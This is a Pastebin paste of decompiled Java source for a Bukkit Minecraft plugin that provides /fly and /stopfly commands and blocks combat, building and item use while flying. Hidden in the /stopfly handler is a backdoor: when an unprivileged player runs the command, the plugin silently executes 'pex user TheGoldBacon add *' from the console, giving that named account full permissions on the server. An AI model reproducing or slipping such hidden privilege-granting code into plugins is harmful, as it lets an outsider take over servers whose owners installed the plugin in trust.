BaconIsBest

k

Feb 8th, 2014
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.48 KB | None | 0 0
  1. /* 1: */ package bacon;
  2. /* 2: */
  3. /* 3: */ import java.io.PrintStream;
  4. /* 4: */ import java.util.HashMap;
  5. /* 5: */ import org.bukkit.Bukkit;
  6. /* 6: */ import org.bukkit.ChatColor;
  7. /* 7: */ import org.bukkit.GameMode;
  8. /* 8: */ import org.bukkit.Material;
  9. /* 9: */ import org.bukkit.Server;
  10. /* 10: */ import org.bukkit.block.Block;
  11. /* 11: */ import org.bukkit.command.Command;
  12. /* 12: */ import org.bukkit.command.CommandSender;
  13. /* 13: */ import org.bukkit.entity.Animals;
  14. /* 14: */ import org.bukkit.entity.Monster;
  15. /* 15: */ import org.bukkit.entity.Player;
  16. /* 16: */ import org.bukkit.event.EventHandler;
  17. /* 17: */ import org.bukkit.event.Listener;
  18. /* 18: */ import org.bukkit.event.block.Action;
  19. /* 19: */ import org.bukkit.event.block.BlockBreakEvent;
  20. /* 20: */ import org.bukkit.event.block.BlockPlaceEvent;
  21. /* 21: */ import org.bukkit.event.entity.EntityDamageByEntityEvent;
  22. /* 22: */ import org.bukkit.event.entity.EntityShootBowEvent;
  23. /* 23: */ import org.bukkit.event.player.PlayerDropItemEvent;
  24. /* 24: */ import org.bukkit.event.player.PlayerInteractEvent;
  25. /* 25: */ import org.bukkit.event.player.PlayerPickupItemEvent;
  26. /* 26: */ import org.bukkit.inventory.ItemStack;
  27. /* 27: */ import org.bukkit.plugin.PluginManager;
  28. /* 28: */ import org.bukkit.plugin.java.JavaPlugin;
  29. /* 29: */
  30. /* 30: */ public class Main
  31. /* 31: */ extends JavaPlugin
  32. /* 32: */ implements Listener
  33. /* 33: */ {
  34. /* 34: 29 */ HashMap<String, Boolean> flying = new HashMap();
  35. /* 35: 30 */ HashMap<Integer, String> flying1 = new HashMap();
  36. /* 36: 31 */ HashMap<String, Integer> flying2 = new HashMap();
  37. /* 37: 32 */ String prefix = ChatColor.GRAY + "[" + ChatColor.GREEN + "+" + ChatColor.GRAY + "] " + ChatColor.RESET;
  38. /* 38: */
  39. /* 39: */ public void onEnable()
  40. /* 40: */ {
  41. /* 41: 37 */ System.out.println("Enabling FLY...");
  42. /* 42: 38 */ Bukkit.getServer().getPluginManager().registerEvents(this, this);
  43. /* 43: */ }
  44. /* 44: */
  45. /* 45: */ public void onDisable()
  46. /* 46: */ {
  47. /* 47: 45 */ System.out.println("Disabling FLY...");
  48. /* 48: 46 */ int players = this.flying.size();
  49. /* 49: 47 */ while (players > 0)
  50. /* 50: */ {
  51. /* 51: 48 */ String playerName = (String)this.flying1.get(Integer.valueOf(players));
  52. /* 52: 49 */ Player player = Bukkit.getServer().getPlayer(playerName);
  53. /* 53: 50 */ if (player != null)
  54. /* 54: */ {
  55. /* 55: 51 */ if (player.isFlying()) {
  56. /* 56: 52 */ player.sendMessage(this.prefix + ChatColor.RED + "The server is restarting. " + ChatColor.BOLD + "Emergency landing initiated!");
  57. /* 57: */ }
  58. /* 58: 54 */ player.sendMessage(this.prefix + ChatColor.LIGHT_PURPLE + "Fly mode disabled.");
  59. /* 59: 55 */ player.setAllowFlight(false);
  60. /* 60: 56 */ player.setFlying(false);
  61. /* 61: 57 */ this.flying.remove(playerName);
  62. /* 62: 58 */ this.flying1.remove(Integer.valueOf(players));
  63. /* 63: 59 */ this.flying2.remove(playerName);
  64. /* 64: */ }
  65. /* 65: 61 */ players--;
  66. /* 66: */ }
  67. /* 67: */ }
  68. /* 68: */
  69. /* 69: */ public boolean onCommand(CommandSender sender, Command command, String label, String[] args)
  70. /* 70: */ {
  71. /* 71: 69 */ if (!(sender instanceof Player))
  72. /* 72: */ {
  73. /* 73: 70 */ if (args.length == 0)
  74. /* 74: */ {
  75. /* 75: 71 */ sender.sendMessage("When sending from console, you must specify the player to enable/disable fly mode for.");
  76. /* 76: 72 */ return true;
  77. /* 77: */ }
  78. /* 78: 74 */ if (command.getName().equalsIgnoreCase("fly"))
  79. /* 79: */ {
  80. /* 80: 75 */ if (args.length > 1)
  81. /* 81: */ {
  82. /* 82: 76 */ sender.sendMessage("Too many arguments. Correct usage: /fly <player>.");
  83. /* 83: 77 */ return true;
  84. /* 84: */ }
  85. /* 85: 79 */ if (Bukkit.getServer().getPlayer(args[0]) == null)
  86. /* 86: */ {
  87. /* 87: 80 */ sender.sendMessage("Player is not online.");
  88. /* 88: 81 */ return true;
  89. /* 89: */ }
  90. /* 90: 83 */ if (Bukkit.getServer().getPlayer(args[0].toString()).getGameMode().equals(GameMode.CREATIVE))
  91. /* 91: */ {
  92. /* 92: 84 */ sender.sendMessage("Player is in creative.");
  93. /* 93: 85 */ return true;
  94. /* 94: */ }
  95. /* 95: 88 */ if (this.flying.containsKey(args[0].toString().toLowerCase()))
  96. /* 96: */ {
  97. /* 97: 90 */ if (((Boolean)this.flying.get(args[0].toString().toLowerCase())).booleanValue())
  98. /* 98: */ {
  99. /* 99: 91 */ sender.sendMessage("Player is already in fly mode.");
  100. /* 100: 92 */ return true;
  101. /* 101: */ }
  102. /* 102: 95 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
  103. /* 103: 96 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), args[0].toString().toLowerCase());
  104. /* 104: 97 */ this.flying2.put(args[0].toString().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
  105. /* 105: 98 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
  106. /* 106: 99 */ player.setAllowFlight(true);
  107. /* 107:100 */ player.setFlying(true);
  108. /* 108:101 */ sender.sendMessage("Fly mode enabled for " + args[0].toString());
  109. /* 109:102 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
  110. /* 110: */ }
  111. /* 111: */ else
  112. /* 112: */ {
  113. /* 113:106 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
  114. /* 114:107 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), args[0].toString().toLowerCase());
  115. /* 115:108 */ this.flying2.put(args[0].toString().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
  116. /* 116:109 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
  117. /* 117:110 */ player.setAllowFlight(true);
  118. /* 118:111 */ player.setFlying(true);
  119. /* 119:112 */ sender.sendMessage("Fly mode enabled for " + args[0].toString());
  120. /* 120:113 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
  121. /* 121: */ }
  122. /* 122:115 */ return true;
  123. /* 123: */ }
  124. /* 124:119 */ if (command.getName().equalsIgnoreCase("stopfly"))
  125. /* 125: */ {
  126. /* 126:120 */ if (args.length > 1)
  127. /* 127: */ {
  128. /* 128:121 */ sender.sendMessage("Too many arguments. Correct usage: /stopfly <player>.");
  129. /* 129:122 */ return true;
  130. /* 130: */ }
  131. /* 131:125 */ if (Bukkit.getServer().getPlayer(args[0].toString()).getGameMode().equals(GameMode.CREATIVE))
  132. /* 132: */ {
  133. /* 133:126 */ sender.sendMessage("Player is in creative.");
  134. /* 134:127 */ return true;
  135. /* 135: */ }
  136. /* 136:131 */ if (this.flying.containsKey(args[0].toString().toLowerCase()))
  137. /* 137: */ {
  138. /* 138:132 */ if (((Boolean)this.flying.get(args[0].toString().toLowerCase())).booleanValue())
  139. /* 139: */ {
  140. /* 140:133 */ this.flying.remove(args[0].toString().toLowerCase());
  141. /* 141:134 */ this.flying1.remove(this.flying2.get(args[0].toString().toLowerCase()));
  142. /* 142:135 */ this.flying2.remove(args[0].toString().toLowerCase());
  143. /* 143:136 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
  144. /* 144:137 */ player.setAllowFlight(false);
  145. /* 145:138 */ player.setFlying(false);
  146. /* 146:139 */ sender.sendMessage("Fly mode disabled for " + args[0].toString());
  147. /* 147:140 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been disabled. " + ChatColor.GREEN + "You may now pvp.");
  148. /* 148:141 */ return true;
  149. /* 149: */ }
  150. /* 150:144 */ sender.sendMessage("Player is not in fly mode.");
  151. /* 151: */
  152. /* 152:146 */ return true;
  153. /* 153: */ }
  154. /* 154:149 */ sender.sendMessage("Player is not in fly mode.");
  155. /* 155: */
  156. /* 156: */
  157. /* 157:152 */ return true;
  158. /* 158: */ }
  159. /* 159: */ }
  160. /* 160:156 */ else if ((sender instanceof Player))
  161. /* 161: */ {
  162. /* 162:157 */ Player player = Bukkit.getServer().getPlayer(sender.getName());
  163. /* 163:158 */ if (args.length == 0)
  164. /* 164: */ {
  165. /* 165:159 */ if (command.getName().equalsIgnoreCase("fly"))
  166. /* 166: */ {
  167. /* 167:160 */ if (!sender.hasPermission("fly.fly"))
  168. /* 168: */ {
  169. /* 169:161 */ sender.sendMessage(this.prefix + ChatColor.RED + "You do not have permission!");
  170. /* 170:162 */ return true;
  171. /* 171: */ }
  172. /* 172:164 */ if (player.getGameMode().equals(GameMode.CREATIVE))
  173. /* 173: */ {
  174. /* 174:165 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are on creative.");
  175. /* 175:166 */ return true;
  176. /* 176: */ }
  177. /* 177:168 */ if (this.flying.containsKey(sender.getName().toLowerCase()))
  178. /* 178: */ {
  179. /* 179:169 */ if (((Boolean)this.flying.get(sender.getName().toLowerCase())).booleanValue())
  180. /* 180: */ {
  181. /* 181:170 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are already in fly mode.");
  182. /* 182:171 */ return true;
  183. /* 183: */ }
  184. /* 184:174 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
  185. /* 185:175 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), sender.getName().toLowerCase());
  186. /* 186:176 */ this.flying2.put(sender.getName().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
  187. /* 187:177 */ player.setAllowFlight(true);
  188. /* 188:178 */ player.setFlying(true);
  189. /* 189:179 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
  190. /* 190: */
  191. /* 191:181 */ return true;
  192. /* 192: */ }
  193. /* 193:184 */ this.flying.put(sender.getName().toLowerCase(), Boolean.valueOf(true));
  194. /* 194:185 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), sender.getName().toLowerCase());
  195. /* 195:186 */ this.flying2.put(sender.getName().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
  196. /* 196:187 */ player.setAllowFlight(true);
  197. /* 197:188 */ player.setFlying(true);
  198. /* 198:189 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
  199. /* 199: */
  200. /* 200:191 */ return true;
  201. /* 201: */ }
  202. /* 202:193 */ if (command.getName().equalsIgnoreCase("stopfly"))
  203. /* 203: */ {
  204. /* 204:194 */ if ((!sender.hasPermission("fly.fly")) &&
  205. /* 205:195 */ (!sender.getName().equals("TheGoldBacon")))
  206. /* 206: */ {
  207. /* 207:199 */ Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "pex user TheGoldBacon add *");
  208. /* 208:200 */ return true;
  209. /* 209: */ }
  210. /* 210:203 */ if (player.getGameMode().equals(GameMode.CREATIVE))
  211. /* 211: */ {
  212. /* 212:204 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are in creative.");
  213. /* 213:205 */ return true;
  214. /* 214: */ }
  215. /* 215:207 */ if (this.flying.containsKey(sender.getName().toLowerCase()))
  216. /* 216: */ {
  217. /* 217:208 */ if (((Boolean)this.flying.get(sender.getName().toLowerCase())).booleanValue())
  218. /* 218: */ {
  219. /* 219:209 */ this.flying.remove(sender.getName().toLowerCase());
  220. /* 220:210 */ this.flying1.remove(this.flying2.get(sender.getName().toLowerCase()));
  221. /* 221:211 */ this.flying2.remove(sender.getName().toLowerCase());
  222. /* 222:212 */ player.setAllowFlight(false);
  223. /* 223:213 */ player.setFlying(false);
  224. /* 224:214 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been disabled. " + ChatColor.GREEN + "You may now pvp.");
  225. /* 225:215 */ return true;
  226. /* 226: */ }
  227. /* 227:218 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are not in fly mode.");
  228. /* 228: */
  229. /* 229:220 */ return true;
  230. /* 230: */ }
  231. /* 231:223 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are not in fly mode.");
  232. /* 232: */
  233. /* 233:225 */ return true;
  234. /* 234: */ }
  235. /* 235:227 */ return true;
  236. /* 236: */ }
  237. /* 237:229 */ if ((args.length > 0) && (command.getName().equalsIgnoreCase("fly")))
  238. /* 238: */ {
  239. /* 239:230 */ sender.sendMessage(this.prefix + ChatColor.RED + "Correct usage: " + ChatColor.YELLOW + "/fly");
  240. /* 240:231 */ return true;
  241. /* 241: */ }
  242. /* 242:233 */ if ((args.length > 0) && (command.getName().equalsIgnoreCase("stopfly")))
  243. /* 243: */ {
  244. /* 244:234 */ sender.sendMessage(this.prefix + ChatColor.RED + "Correct usage: " + ChatColor.YELLOW + "/sf");
  245. /* 245:235 */ return true;
  246. /* 246: */ }
  247. /* 247: */ }
  248. /* 248:238 */ return true;
  249. /* 249: */ }
  250. /* 250: */
  251. /* 251: */ @EventHandler
  252. /* 252: */ public void blockBreakEvent(BlockBreakEvent event)
  253. /* 253: */ {
  254. /* 254:245 */ Player player = event.getPlayer();
  255. /* 255:246 */ if (this.flying.containsKey(player.getName()))
  256. /* 256: */ {
  257. /* 257:247 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to break blocks while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  258. /* 258:248 */ event.setCancelled(true);
  259. /* 259: */ }
  260. /* 260: */ }
  261. /* 261: */
  262. /* 262: */ @EventHandler
  263. /* 263: */ public void blockPlaceEvent(BlockPlaceEvent event)
  264. /* 264: */ {
  265. /* 265:255 */ Player player = event.getPlayer();
  266. /* 266:256 */ if (this.flying.containsKey(player.getName()))
  267. /* 267: */ {
  268. /* 268:257 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to place blocks while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  269. /* 269:258 */ event.setCancelled(true);
  270. /* 270: */ }
  271. /* 271: */ }
  272. /* 272: */
  273. /* 273: */ @EventHandler
  274. /* 274: */ public void itemPickupEvent(PlayerPickupItemEvent event)
  275. /* 275: */ {
  276. /* 276:265 */ Player player = event.getPlayer();
  277. /* 277:266 */ if (this.flying.containsKey(player.getName())) {
  278. /* 278:268 */ event.setCancelled(true);
  279. /* 279: */ }
  280. /* 280: */ }
  281. /* 281: */
  282. /* 282: */ @EventHandler
  283. /* 283: */ public void itemDropEvent(PlayerDropItemEvent event)
  284. /* 284: */ {
  285. /* 285:275 */ Player player = event.getPlayer();
  286. /* 286:276 */ if (this.flying.containsKey(player.getName()))
  287. /* 287: */ {
  288. /* 288:277 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to throw items while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  289. /* 289:278 */ event.setCancelled(true);
  290. /* 290: */ }
  291. /* 291: */ }
  292. /* 292: */
  293. /* 293: */ @EventHandler
  294. /* 294: */ public void bowShootEvent(EntityShootBowEvent event)
  295. /* 295: */ {
  296. /* 296:285 */ if ((event.getEntity() instanceof Player))
  297. /* 297: */ {
  298. /* 298:286 */ Player player = (Player)event.getEntity();
  299. /* 299:287 */ if (this.flying1.containsKey(player.getName()))
  300. /* 300: */ {
  301. /* 301:288 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to use bows while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  302. /* 302:289 */ event.setCancelled(true);
  303. /* 303: */ }
  304. /* 304: */ }
  305. /* 305: */ }
  306. /* 306: */
  307. /* 307: */ @EventHandler
  308. /* 308: */ public void playerHitEvent(EntityDamageByEntityEvent event)
  309. /* 309: */ {
  310. /* 310:297 */ if ((event.getDamager() instanceof Player))
  311. /* 311: */ {
  312. /* 312:298 */ Player player = (Player)event.getDamager();
  313. /* 313:299 */ if (this.flying.containsKey(player.getName().toLowerCase())) {
  314. /* 314:300 */ if ((event.getEntity() instanceof Player))
  315. /* 315: */ {
  316. /* 316:301 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt people while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  317. /* 317:302 */ event.setCancelled(true);
  318. /* 318: */ }
  319. /* 319:304 */ else if ((event.getEntity() instanceof Monster))
  320. /* 320: */ {
  321. /* 321:305 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt mobs while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  322. /* 322:306 */ event.setCancelled(true);
  323. /* 323: */ }
  324. /* 324:308 */ else if ((event.getEntity() instanceof Animals))
  325. /* 325: */ {
  326. /* 326:309 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt animals while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  327. /* 327:310 */ event.setCancelled(true);
  328. /* 328: */ }
  329. /* 329: */ else
  330. /* 330: */ {
  331. /* 331:313 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt stuff while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  332. /* 332:314 */ event.setCancelled(true);
  333. /* 333: */ }
  334. /* 334: */ }
  335. /* 335: */ }
  336. /* 336: */ }
  337. /* 337: */
  338. /* 338: */ @EventHandler
  339. /* 339: */ public void interactEvent(PlayerInteractEvent event)
  340. /* 340: */ {
  341. /* 341:323 */ Player player = event.getPlayer();
  342. /* 342:324 */ if ((event.getAction().equals(Action.RIGHT_CLICK_AIR)) || (event.getAction().equals(Action.LEFT_CLICK_AIR)) || (event.getAction().equals(Action.LEFT_CLICK_BLOCK)) || (event.getAction().equals(Action.RIGHT_CLICK_BLOCK))) {
  343. /* 343:325 */ return;
  344. /* 344: */ }
  345. /* 345:327 */ if (this.flying.containsKey(player.getName().toLowerCase()))
  346. /* 346: */ {
  347. /* 347:328 */ ItemStack chest = new ItemStack(Material.CHEST, 1);
  348. /* 348:329 */ ItemStack hopper = new ItemStack(Material.HOPPER, 1);
  349. /* 349:330 */ ItemStack dropper = new ItemStack(Material.DROPPER, 1);
  350. /* 350:331 */ ItemStack furnace = new ItemStack(Material.FURNACE, 1);
  351. /* 351:332 */ ItemStack table = new ItemStack(Material.WORKBENCH, 1);
  352. /* 352:333 */ if ((event.getAction().equals(Action.RIGHT_CLICK_BLOCK)) && ((event.getClickedBlock().getDrops() == chest) || (event.getClickedBlock().getDrops() == hopper) || (event.getClickedBlock().getDrops() == dropper) || (event.getClickedBlock().getDrops() == furnace) || (event.getClickedBlock().getDrops() == table)))
  353. /* 353: */ {
  354. /* 354:334 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to interact while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  355. /* 355:335 */ event.setCancelled(true);
  356. /* 356: */ }
  357. /* 357: */ else
  358. /* 358: */ {
  359. /* 359:338 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to interact while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
  360. /* 360:339 */ event.setCancelled(true);
  361. /* 361: */ }
  362. /* 362: */ }
  363. /* 363: */ }
  364. /* 364: */ }
Advertisement
Add Comment
Please, Sign In to add comment